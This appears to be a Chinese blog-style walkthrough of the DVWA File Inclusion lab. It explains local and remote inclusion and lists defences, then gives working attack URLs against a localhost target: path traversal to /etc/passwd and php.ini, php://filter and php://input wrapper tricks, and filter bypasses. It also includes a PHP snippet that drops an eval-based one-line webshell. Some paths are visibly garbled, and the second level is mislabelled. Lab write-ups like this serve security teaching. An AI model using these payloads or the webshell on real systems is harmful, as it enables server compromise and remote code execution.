2021-08-05 DVWA-File Inclusion 文件包含
DVWA-File Inclusion 文件包含)
前言
文件包含:
开发人员将需要重复调用的函数写入到一个文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。这样可以降低代码冗余和维护难度。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
漏洞类型: 依据文件所在的位置,分为本地包含和远程包含, 其中远程包含的实现前提需要php的配置为: allow_url_fopen = On 允许打开远程文件 ; allow_url_include = On 允许include/require远程文件 。
文件包含漏洞用到的函数 require:找不到被包含的文件,报错,并且停止运行脚本。 include:找不到被包含的文件,只会报错,但会继续运行脚本。 require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。 include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
文件包含特征:
?page=a.php ?home=b.html ?file=content
检测方法:
?file=…/…/…/…/etc/passwd ?page=file:///etc/passwd ?home=main.cgi ?page=http://www.a.com/1.php http://1.1.1.1/…/…/…/…/dir/file.txt
目录遍历与文件包含的区别:
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。 文件包含漏洞防御: (1)allow_url_include和allow_url_fopen关闭;
(2)对用户包含的文件进行限制,如白名单、open_basedir;
(3)检查用户输入;
(4)检查变量是否初始化;
(5)关键的过滤在服务器端进行;
一、File Inclusion–Low
首先,要将修改php.ini配置文件开启文件包含功能allow_url_include = on;
可以看到file1.php,file2.php,file3.php三个文件,任意点击其中一个文件,比如file1.php,地址栏的http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php就会相应变为http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file1.php,即利用GET的方法来获取服务器中的php文件。
分析源码:可以看到没有对page参数做任何过滤,直接GET;
如果服务器没有进行一定的防御,尝试在page中进行修改,去寻找服务器中的其他敏感文件。
文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来。
测试,随便写一个不存在的php文件,比如 :http://127.0.0.1/dvwa/vulnerabilities/fi/?page=text.php 爆出路径错误信息。D:\software\phpstudy\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\为固定字段;xxx.php为可控字段
绝对路径: 在本地www目录下新建1.txt ————> 写入
<?php
$test="<?php eval(\$_POST['cmd']); ?>";
$mm=fopen('111.txt','w');
fwrite($mm,$test);
fclose($mm);
?>
网页在解析文件的时候,如果遇到<?php ... ?>,则会将其作为php代码执行;
假设我们远程访问这个文件,URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=1.txt,文件中包含以上代码,那<?php eval... ?>这部分就会作为php代码被执行,效果就是在该文件目录创建了一句话木马文件111.php。 访问这个,就可以拿到服务器的webshell。
相对路径: 如果要访问相对路径的内容 可以依据地址栏前面的文件路径往前找,比如访问DVWA文件夹的php.ini,需要回退两次,可以输入…/…/php.ini ,URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=…/…/php.ini 。 成功显示 能够执行一些文件吗? 尝试构造访问参数,URL: http://localhost/dvwa/vulnerabilities/fi/?page=…/…/phpinfo.php ; 执行对应的php文件,说明文件包含漏洞已经利用成功。
使用php封装协议读取和写入php文件:
读取文件:
php://filter/read=convert.base64-encode/resource=…/./…/./…/./…/./1.txt 访问,可以看到显示base64编码的内容,使用burpsuit的decode模块解码。 URL: http://localhost/dvwa/vulnerabilities/fi/?page= php://filter/read=convert.base64-encode/resource=…/./…/./…/./…/./1.txt
写入: http://localhost/dvwa/vulnerabilities/fi/?page=php://input (写入内容)
二、File Inclusion–Low
分析源码: 多了一个校验; 一步步排除过滤,本地文件读取:
远程文件执行: 就是将输入的url参数中包含的“http://”、“https://”, “. . /” , ". . ""等字符串替换成空的字符串, 也就是说过滤了远程文件包含, 对于本地文件包含并没有任何过滤。
本地包含:http://localhost/dvwa/vulnerabilities/fi/?page=…\php.ini
远程包含: http://localhost/dvwa/vulnerabilities/fi/?page=httphttp://😕/127.0.0.1/1.txt
三、File Inclusion–High
查看源码: High级别的代码规定只能包含file开头的文件,看似安全,但依然可以利用file协议绕过防护策略。
本地文件读取: 假设访问:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file111111111111.txt 出现报错信息。
攻击者上传含有恶意代码的文件后,获取文件所在的物理地址,比如 http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\software\phpstudy\phpstudy_pro\WWW\webshell.txt; 访问。
|